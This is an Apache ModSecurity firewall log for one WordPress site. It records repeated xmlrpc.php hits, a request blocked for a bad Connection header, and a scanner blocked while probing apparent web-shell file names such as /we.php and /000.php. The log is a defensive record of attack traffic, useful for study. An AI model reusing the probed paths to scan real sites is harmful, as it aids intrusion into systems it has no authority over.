[Sat Feb 28 09:43:50.430766 2026] [:error] [pid 39185:tid 39256] [client 41.58.93.230:43492] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJIVhVE-FfM89u7BQb87wAAAIo"]
[Sat Feb 28 09:44:56.930245 2026] [:error] [pid 52460:tid 52481] [client 41.58.93.230:48877] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJImLLWOogAgHGh62Rr0wAAAZI"]
[Sat Feb 28 09:46:36.535272 2026] [:error] [pid 52460:tid 52464] [client 41.58.93.230:28244] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJI_LLWOogAgHGh62RtOwAAAYE"]
[Sat Feb 28 09:48:07.370661 2026] [:error] [pid 39185:tid 39260] [client 41.58.93.230:29290] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJJVxVE-FfM89u7BQYB_wAAAI4"]
[Sat Feb 28 09:49:46.383767 2026] [:error] [pid 52460:tid 52485] [client 41.58.93.230:12527] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJJurLWOogAgHGh62RwpwAAAZY"]
[Sat Feb 28 09:51:23.800509 2026] [:error] [pid 39184:tid 39228] [client 41.58.93.230:50156] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJKG1tZF9Zd_U7easCt2AAAAEk"]
[Sat Feb 28 09:53:08.774117 2026] [:error] [pid 11791:tid 11808] [client 41.58.93.230:22790] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJKhGuX5e1Q32gqxH2tHwAAAQ8"]
[Sat Feb 28 09:54:58.550644 2026] [:error] [pid 22194:tid 22210] [client 41.58.93.230:5617] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJK8n6mbajs3bzQGysGJgAAAU4"]
[Sat Feb 28 09:56:48.174191 2026] [:error] [pid 52460:tid 52473] [client 41.58.93.230:59823] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJLYLLWOogAgHGh62R2jQAAAYo"]
[Sat Feb 28 09:58:51.173536 2026] [:error] [pid 39185:tid 39264] [client 41.58.93.230:48506] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJL2xVE-FfM89u7BQYOgwAAAJI"]
[Sat Feb 28 10:00:39.746006 2026] [:error] [pid 39292:tid 39307] [client 41.58.93.230:59054] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJMR6IAO5fN7BxyqcGLcgAAAM0"]
[Sat Feb 28 10:01:58.638511 2026] [:error] [pid 22194:tid 22200] [client 41.58.93.230:60048] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJMln6mbajs3bzQGysIcAAAAUQ"]
[Sat Feb 28 10:03:01.116254 2026] [:error] [pid 39292:tid 39295] [client 41.58.93.230:46067] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJM1aIAO5fN7BxyqcGM2gAAAME"]
[Sat Feb 28 10:03:48.523890 2026] [:error] [pid 52460:tid 52479] [client 41.58.93.230:46662] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJNBLLWOogAgHGh62R8uwAAAZA"]
[Sat Feb 28 10:04:51.063878 2026] [:error] [pid 39185:tid 39264] [client 41.58.93.230:62637] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJNQxVE-FfM89u7BQYYWQAAAJI"]
[Sat Feb 28 10:05:48.399239 2026] [:error] [pid 22194:tid 22217] [client 41.58.93.230:4614] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJNfH6mbajs3bzQGysJnAAAAVU"]
[Sat Feb 28 10:06:46.414025 2026] [:error] [pid 11791:tid 11794] [client 41.58.93.230:15544] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJNtmuX5e1Q32gqxH218QAAAQE"]
[Sat Feb 28 10:07:59.824055 2026] [:error] [pid 39185:tid 39262] [client 41.58.93.230:41389] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJN_xVE-FfM89u7BQYcawAAAJA"]
[Sat Feb 28 10:08:57.828632 2026] [:error] [pid 39185:tid 39268] [client 41.58.93.230:52833] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJOORVE-FfM89u7BQYdXAAAAJY"]
[Sat Feb 28 10:09:55.973866 2026] [:error] [pid 39185:tid 39265] [client 41.58.93.230:42028] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJOcxVE-FfM89u7BQYeTwAAAJM"]
[Sat Feb 28 10:10:58.578522 2026] [:error] [pid 39185:tid 39261] [client 41.58.93.230:36026] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJOshVE-FfM89u7BQYfIwAAAI8"]
[Sat Feb 28 10:11:59.296656 2026] [:error] [pid 39185:tid 39268] [client 41.58.93.230:36770] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJO7xVE-FfM89u7BQYgawAAAJY"]
[Sat Feb 28 10:12:55.143487 2026] [:error] [pid 52460:tid 52487] [client 41.58.93.230:32632] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJPJ7LWOogAgHGh62SEdQAAAZg"]
[Sat Feb 28 10:14:01.063432 2026] [:error] [pid 39183:tid 39206] [client 41.58.93.230:8258] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJPaRCf4HvhVePw3LbJpQAAAA4"]
[Sat Feb 28 10:14:56.243811 2026] [:error] [pid 22194:tid 22201] [client 41.58.93.230:65115] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJPoH6mbajs3bzQGysLpwAAAUU"]
[Sat Feb 28 10:15:56.339061 2026] [:error] [pid 22194:tid 22207] [client 41.58.93.230:1268] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJP3H6mbajs3bzQGysL_wAAAUs"]
[Sat Feb 28 10:16:52.918614 2026] [:error] [pid 22194:tid 22202] [client 41.58.93.230:4300] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJQFH6mbajs3bzQGysMSwAAAUY"]
[Sat Feb 28 10:17:57.503918 2026] [:error] [pid 11791:tid 11815] [client 41.58.93.230:5126] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJQVWuX5e1Q32gqxH27gAAAARY"]
[Sat Feb 28 10:18:56.144021 2026] [:error] [pid 11791:tid 11816] [client 41.58.93.230:21632] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJQkGuX5e1Q32gqxH277AAAARc"]
[Sat Feb 28 10:19:57.155996 2026] [:error] [pid 52460:tid 52479] [client 41.58.93.230:43247] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJQzbLWOogAgHGh62SJsAAAAZA"]
[Sat Feb 28 10:20:49.266216 2026] [:error] [pid 52460:tid 52466] [client 41.58.93.230:18606] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJRAbLWOogAgHGh62SKWQAAAYM"]
[Sat Feb 28 10:21:51.648694 2026] [:error] [pid 39185:tid 39265] [client 41.58.93.230:32162] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJRPxVE-FfM89u7BQYsmgAAAJM"]
[Sat Feb 28 10:22:53.018769 2026] [:error] [pid 39185:tid 39264] [client 41.58.93.230:28968] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJRfRVE-FfM89u7BQYt3QAAAJI"]
[Sat Feb 28 10:23:49.524042 2026] [:error] [pid 39292:tid 39297] [client 41.58.93.230:29707] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJRtaIAO5fN7BxyqcGUsAAAAMM"]
[Sat Feb 28 10:24:52.848744 2026] [:error] [pid 52460:tid 52469] [client 41.58.93.230:23858] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJR9LLWOogAgHGh62SNyAAAAYY"]
[Sat Feb 28 10:25:50.088992 2026] [:error] [pid 11791:tid 11799] [client 41.58.93.230:24648] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJSLmuX5e1Q32gqxH3AHAAAAQY"]
[Sat Feb 28 10:26:57.196405 2026] [:error] [pid 39185:tid 39254] [client 41.58.93.230:21333] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJScRVE-FfM89u7BQYy2AAAAIg"]
[Sat Feb 28 10:27:50.413993 2026] [:error] [pid 39185:tid 39248] [client 41.58.93.230:10575] [client 41.58.93.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.58.93.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJSphVE-FfM89u7BQY0SgAAAII"]
[Sat Feb 28 10:52:23.499287 2026] [:error] [pid 11791:tid 11812] [client 43.134.186.61:55650] [client 43.134.186.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaJYZ2uX5e1Q32gqxH3P9QAAARM"]
[Sat Feb 28 11:20:08.562739 2026] [:error] [pid 52460:tid 52479] [client 20.151.113.230:18430] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aaJe6LLWOogAgHGh62TIzgAAAZA"]
[Sat Feb 28 11:20:08.972537 2026] [:error] [pid 39292:tid 39304] [client 20.151.113.230:18401] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aaJe6KIAO5fN7BxyqcGsswAAAMo"]
[Sat Feb 28 11:20:09.383496 2026] [:error] [pid 11791:tid 11809] [client 20.151.113.230:18317] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aaJe6WuX5e1Q32gqxH3jMgAAARA"]
[Sat Feb 28 11:20:09.801318 2026] [:error] [pid 39183:tid 39212] [client 20.151.113.230:18315] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aaJe6RCf4HvhVePw3LbWnwAAABQ"]
[Sat Feb 28 11:20:10.217515 2026] [:error] [pid 39292:tid 39314] [client 20.151.113.230:18420] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aaJe6qIAO5fN7BxyqcGstwAAANQ"]
[Sat Feb 28 11:20:10.627825 2026] [:error] [pid 39185:tid 39266] [client 20.151.113.230:18425] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aaJe6hVE-FfM89u7BQZt5gAAAJQ"]
[Sat Feb 28 11:20:11.042320 2026] [:error] [pid 39184:tid 39228] [client 20.151.113.230:18382] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aaJe61tZF9Zd_U7easDDjQAAAEk"]
[Sat Feb 28 11:20:11.463962 2026] [:error] [pid 22194:tid 22198] [client 20.151.113.230:18414] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "aaJe636mbajs3bzQGyshvgAAAUI"]
[Sat Feb 28 11:20:11.882327 2026] [:error] [pid 52460:tid 52471] [client 20.151.113.230:18368] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aaJe67LWOogAgHGh62TI1QAAAYg"]
[Sat Feb 28 11:20:12.297505 2026] [:error] [pid 52460:tid 52484] [client 20.151.113.230:18400] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aaJe7LLWOogAgHGh62TI1wAAAZU"]
[Sat Feb 28 11:20:12.711062 2026] [:error] [pid 52460:tid 52485] [client 20.151.113.230:18385] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aaJe7LLWOogAgHGh62TI2gAAAZY"]
[Sat Feb 28 11:20:13.124275 2026] [:error] [pid 39184:tid 39226] [client 20.151.113.230:18422] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/000.php"] [unique_id "aaJe7VtZF9Zd_U7easDDjwAAAEc"]
[Sat Feb 28 11:20:13.539908 2026] [:error] [pid 22194:tid 22219] [client 20.151.113.230:18399] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mails.php"] [unique_id "aaJe7X6mbajs3bzQGyshwAAAAVc"]
[Sat Feb 28 11:20:13.972825 2026] [:error] [pid 11791:tid 11801] [client 20.151.113.230:18427] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mails.php"] [unique_id "aaJe7WuX5e1Q32gqxH3jQwAAAQg"]
[Sat Feb 28 11:20:14.385212 2026] [:error] [pid 52460:tid 52486] [client 20.151.113.230:18416] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mails.php"] [unique_id "aaJe7rLWOogAgHGh62TI3gAAAZc"]
[Sat Feb 28 11:20:14.796446 2026] [:error] [pid 22194:tid 22203] [client 20.151.113.230:18332] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mails.php"] [unique_id "aaJe7n6mbajs3bzQGyshwwAAAUc"]
[Sat Feb 28 11:20:15.216899 2026] [:error] [pid 11791:tid 11809] [client 20.151.113.230:18321] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xex.php"] [unique_id "aaJe72uX5e1Q32gqxH3jSAAAARA"]
[Sat Feb 28 11:20:15.640112 2026] [:error] [pid 11791:tid 11794] [client 20.151.113.230:18428] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xex.php"] [unique_id "aaJe72uX5e1Q32gqxH3jTAAAAQE"]
